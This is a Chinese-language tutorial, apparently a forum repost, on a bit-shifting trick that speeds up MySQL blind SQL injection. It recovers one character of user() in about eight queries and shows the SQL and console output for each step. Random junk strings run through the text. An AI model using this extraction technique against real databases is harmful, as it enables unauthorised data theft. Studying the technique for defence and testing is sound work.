关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

- N4 c9 E/ c) f! U8 ^; }

下面将以查询mysql数据库当中user()的第一位为例:
% x5 |/ _! H- Q1 Z& ]" X


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



* b# x0 s" e' H! c7 h6 m8 U+ w8 d首先执行如下sql语句:
) q* W! I. n+ f1 _

8 x8 P9 p5 V0 e( h3 \4 K
  g: C8 B5 P/ I( Mmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
5 p) |3 s8 b3 R! S

. m9 G7 i: C$ }
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
1 A" X& P; a0 q

- }6 I  }* c7 z
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


/ I. w% l$ F. O* f0 D# ^1 \
3 I+ X1 G/ B: y" h9 s3 k2 a5 j如果运算结果为1,说明第一位为0,不为1
- F% k) h) P) ^6 C# x
  u' V% V/ x: \, C, s, I

1 a; z& ]4 w$ @1 C/ x, \+————————————–+

: }0 M. R( G6 _2 I| (ascii((substr(user(),1,1))) >> 7)=0 |

; g& T9 K/ _5 K. m7 J+————————————–+

0 S. F; P6 O2 q4 x| 1 |
5 U: _# h5 F8 z
+————————————–+
. x% v) s# W% Q% G- k
$ B( [6 a6 b( U. o; @5 K1 row in set (0.00 sec)
5 D+ j9 F+ z" b0 P9 d5 s
  H4 G+ p* K. t7 }9 S这样我们就确定这个8bit的ascii的第一位为0
! ]( m' A# e" D. K' F: R6 Y

( [$ z5 }; l. P1 U2 O$ |/ P3 L
: t5 Z) F! S  K3 `/ _' V第二次我们来做6次右偏移来确定前两位
4 K9 O; I0 a1 \# Y6 K( M
# g" s6 {4 ]1 [, K. A1 v0 I
$ I3 G- y0 L/ k! ?! ^) y- U
前两位可能是01或00,即依然可以与0做比较,

& k% z0 P3 p+ x/ dmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( [; X2 {+ Z, J8 H$ q! j
3 o: C0 h- F( m: Z% m; t! I+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
; o4 h6 f' n* B7 a' P4 L& e7 ]2 i
$ v  E+ y. B) X( j  m: f+————————————–+

| 0 |

+————————————–+

6 ^9 D4 ^  ?# z- M- C$ x1 row in set (0.00 sec)
$ R% ]2 G' v- ~( {: [5 r
, H3 L3 Y! s8 T4 ?- D

: M  B3 ], e( x$ T4 V( `结果为0,即第二位为1


' n% e' k5 {9 U6 n" s% g
; X/ A. m9 p. I/ ]! m开始猜测前三位为010或011



让我们看看010和011的ascii码是多少
9 r7 K" E1 ]- E4 x5 v8 O
8 D4 e& L' e, x* U+ u8 @* j

( |9 k# ^" a. N+ h; A, L分别查询select b’011′ select b’010′


1 b0 w2 T& C& E" a
获得结果 010 = 2 011 = 3


% @& l% C9 R2 x7 r/ E( O
执行如下sql:
: S% |! d& |5 \6 ^& k) Z1 s% E
8 a. s2 u% Y0 M  K

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

/ w- O3 V) U) w3 }% i+————————————–+
0 g( }7 V! b0 l6 X5 i
| (ascii((substr(user(),1,1))) >> 5)=2 |

; t. V; e* @" v( p3 K# `/ M, J+————————————–+

| 0 |
7 N6 U/ v/ p" C, W) U2 C
+————————————–+

1 j, Q, }; e5 o( y( j! w  _6 V3 c即前三位不为010,而是011


) Q8 Z4 k1 n0 X# g4 z
7 z! h! E% [/ z% s6 R直到获得最后一位

, G' s) }5 n7 |  |# N  K& q

最终结果为:01110010
! Y$ I/ ?3 e* O9 u/ V
1 q( T" C' b( n; y# O4 I% f
! L8 D2 a' [! l2 |3 e# P
- w* P$ g1 {1 _; X) a转换一下:
2 H8 z0 H! G5 n" [) W+ S- l: p

7 @) B  Z: ^# P0 U1 F8 Q
select b’01110010′

' ?6 H# u# Z5 |0 s: O% p* L. Z
, k9 o+ D4 _3 x) y& C) R
查询结果


3 `  }+ }* c# t6 H
+————-+
- }3 o( u- a$ m. t0 S! y" k
9 D0 o/ E% a% C+ d+ N$ Y$ q| b’01110010′ |
# m/ s& b  x' X* d% P) a# X
( E- a6 P1 W+ Q7 S+————-+
2 W; }, Y7 v! I& m
; M1 U# j4 i* u  @6 J- T| r |

6 s& z' d  Q( Z: B* I  T/ h7 _+————-+
: B/ I- K: Q9 h5 P3 H
1 row in set (0.00 sec)
1 I4 S! i+ [8 @- b
3 L' v% T) t; W- q" j- A
' ?( v+ f" m& m- Z( J
2 P7 h6 h. e6 ?/ D! l3 N' m这样我们就获得了user()的第一位.其它位依此类推
- ?/ ~1 j. V; @
% l- ~) J9 a% B7 h' R6 f7 F& ^